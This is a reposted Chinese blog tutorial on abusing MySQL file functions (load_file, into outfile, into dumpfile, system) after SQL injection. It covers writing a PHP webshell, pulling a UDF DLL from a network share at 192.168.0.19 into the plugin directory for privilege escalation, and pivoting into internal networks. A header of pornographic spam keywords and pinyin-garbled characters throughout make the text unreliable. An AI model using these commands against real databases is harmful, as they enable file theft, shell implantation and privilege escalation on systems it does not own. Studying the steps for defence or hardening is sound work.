日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

mysql read file_MySQL利用OS读写文件的前提

發(fā)布時(shí)間:2024/9/19 数据库 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql read file_MySQL利用OS读写文件的前提 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

能讀寫(xiě)文件的前提

不同系統(tǒng)、不同的數(shù)據(jù)庫(kù)版本有細(xì)微差異,以下實(shí)驗(yàn)都在Windows和Mysql 5.7.26下操作;

1.擁有該File的讀權(quán)限 或 該目錄寫(xiě)的權(quán)限

2.secure_file_priv屬性的值不為NULL

Windows下的設(shè)置

修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =

保存,重啟mysql。

secure_file_priv屬性值的設(shè)置:

secure_file_priv為null 表示不允許導(dǎo)入導(dǎo)出 (5.7后為默認(rèn)值)

secure_file_priv指定文件夾時(shí),表示mysql的導(dǎo)入導(dǎo)出只能發(fā)生在指定的文件夾

secure_file_priv沒(méi)有設(shè)置時(shí),則表示沒(méi)有任何限制

[mysqld]

secure_file_priv=

# secure_file_priv= 表示對(duì)讀寫(xiě)沒(méi)有限制

# secure_file_priv= 在基線(xiàn)掃描時(shí)也是一個(gè)漏洞特征

Linux下的設(shè)置

在/etc/my.cnf的[mysqld]下面添加

[mysqld]

secure_file_priv=''

# 保存,重啟mysql

pkill mysqld

ps -e|grep mysqld

# 如果為空說(shuō)明殺光了

./mysql_safe &

沒(méi)有讀寫(xiě)權(quán)限的嘗試

win:

use thirdweek;

create table read2_tb(word text);

insert into read2_tb(word) values (load_file('D:/test.txt'));

select * from read2_tb;

也不報(bào)錯(cuò),就是每執(zhí)行一次就增加一行空值;

linxu:

報(bào)錯(cuò):The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

確認(rèn)有SQL注入后,跟進(jìn)確認(rèn)是否有讀寫(xiě)權(quán)限

# win

show global variables LIKE "secure_file_priv";

# linux

show global variables LIKE "secure_file_priv";

read

能讀文件意味著系統(tǒng)敏感文件泄露,代碼被審計(jì);讀遠(yuǎn)程文件;

準(zhǔn)備好要讀的文件

常用讀文件函數(shù),mysql在不同版本讀取文件的函數(shù)可能會(huì)不同:

load_file()

load data infile()

system cat

load_file()

use thirdweek;

create table read2_tb(word text);

insert into read2_tb(word) values (load_file('D:/test.txt'));

select * from read2_tb;

sql> insert into read2_tb(word) values (load_file('D:/test.txt'))

[2019-08-15 10:55:11] 1 row affected in 4 ms

讀入成功。

load_file( )函數(shù)支持網(wǎng)絡(luò)路徑。如果你可以將DLL復(fù)制到網(wǎng)絡(luò)共享中,那么你就可以直接加載并將它寫(xiě)入磁盤(pán)。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

load data infile()

load data infile 'D:/test.txt' into table read2_tb;

write

寫(xiě)命令可以將一條select語(yǔ)句的結(jié)果寫(xiě)到MySQL進(jìn)程所有者擁有的完全可寫(xiě)權(quán)限的文件中。能寫(xiě)文件就意味著能寫(xiě)入shell, OS 區(qū)分Win\Linux之間的差別;

into outfile

將某列數(shù)據(jù)寫(xiě)出

use thirdweek;

select * from read2_tb where 1=1 into outfile 'D:/test2.txt';

# D:/test2.txt 不能存在,不然報(bào)錯(cuò)

[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

自定義shell寫(xiě)出

select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

into dumpfile

Think about it carefully. Both of them are function writers. Are they different?

Reference:https://www.jb51.net/article/139858.htm

The difference beween outfile and dumpfile:

導(dǎo)出的行數(shù)不一樣

轉(zhuǎn)義輸出

是否允許二進(jìn)制文件

導(dǎo)出的行數(shù)區(qū)別

outfile

首先通過(guò)命令select * from test into outfile '/tmp/test.txt'來(lái)使用outfile導(dǎo)出:

通過(guò)查看官方文檔,可以看出使用如下參數(shù)可以進(jìn)行格式調(diào)整

FIELDS ESCAPED BY 可以用來(lái)對(duì)指定的字符進(jìn)行轉(zhuǎn)義

FIELDS [OPTIONALLY] ENCLOSED BY 用來(lái)對(duì)字段值進(jìn)行包裹

FIELDS TERMINATED BY 用來(lái)對(duì)字段值之間進(jìn)行分割

Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

Example out :

dumpfile

在通過(guò)命令select * from test into dumpfile '/tmp/test.txt'來(lái)使用outfile導(dǎo)出:

命令執(zhí)行時(shí),命令提示超過(guò)一行

查看文件內(nèi)容

通過(guò)dumpfile導(dǎo)出的數(shù)據(jù)行數(shù)據(jù)之間并未進(jìn)行換行且只導(dǎo)出了部分?jǐn)?shù)據(jù)。

轉(zhuǎn)義輸出

保持原數(shù)據(jù)格式

outfile

我們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來(lái)看一下在常用的寫(xiě)文件場(chǎng)景下的結(jié)果

outfile對(duì)導(dǎo)出內(nèi)容中的\n等特殊字符進(jìn)行了轉(zhuǎn)義,并且在文件內(nèi)容的末尾增加了一個(gè)新行

dumpfile

使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

可以看到dumpfile對(duì)文件內(nèi)容是原稿寫(xiě)入,未做任何轉(zhuǎn)移和增加。

基于這個(gè)原因,在UDF提權(quán)中一般使用dumpfile進(jìn)行dll文件 寫(xiě)入的原因。

二進(jìn)制文件

outfile后面不能接0x開(kāi)頭或者char轉(zhuǎn)換以后的路徑,只能是單引號(hào)路徑。這個(gè)問(wèn)題在php注入中很棘手,因?yàn)闀?huì)自動(dòng)將單引號(hào)轉(zhuǎn)義成\',請(qǐng)千萬(wàn)注意。

但dumpfile,后面的路徑可以是單引號(hào)、0x、char轉(zhuǎn)換的字符,但是路徑中的斜杠是/而不是\。

因?yàn)閐umpfile允許寫(xiě)二進(jìn)制文件。

mysql寫(xiě)shell并利用成功的前提

1.擁有上面說(shuō)的3個(gè)前提

2.能寫(xiě)入到可執(zhí)行目錄里面

3.能連接成功

利用mysql寫(xiě)shell的好處

內(nèi)網(wǎng)擴(kuò)散

數(shù)據(jù)庫(kù)一般都在內(nèi)網(wǎng)之中,與其他內(nèi)網(wǎng)主機(jī)能互通,作為一個(gè)跳板機(jī)就很理想,不過(guò)需要注意OP/DBA這種崗位對(duì)這臺(tái)SQL主機(jī)的持續(xù)監(jiān)控;

提權(quán)

一般進(jìn)入主機(jī)可能是低權(quán)限或者匿名用戶(hù),但是通過(guò)SQL注入得到的登陸用戶(hù)具有一定權(quán)限;利用SQL注入也是一種提權(quán)方式;

system + [shell command]

在mysql版本為5.x時(shí),除了可以使用以上方式讀寫(xiě)文件,還可以使用命令直接讀寫(xiě)文件,前提是使用linux.

# read

system cat /test.txt

# writer

system vim /web/site/www/test/a.php

注意:

1.此方法只能在本地讀取,遠(yuǎn)程連接mysql時(shí)無(wú)法使用system

2.無(wú)法越權(quán)操作

實(shí)驗(yàn)證明

$SQL1 = "select * from test_tb where name='lisi' and sex='0'";

//$SQL2 = "system date;";

$conn = getConnect();

$result = $conn->query($SQL1);

//$result = $conn->query($SQL2);

print_r($result);

在php遠(yuǎn)程連接mysql,然后執(zhí)行了SQL1 和 SQL2, 發(fā)現(xiàn)執(zhí)行的system的SQL語(yǔ)句失敗。說(shuō)明該關(guān)鍵字只能在本地的Linux Mysql上使用。

總結(jié)

以上是生活随笔為你收集整理的mysql read file_MySQL利用OS读写文件的前提的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。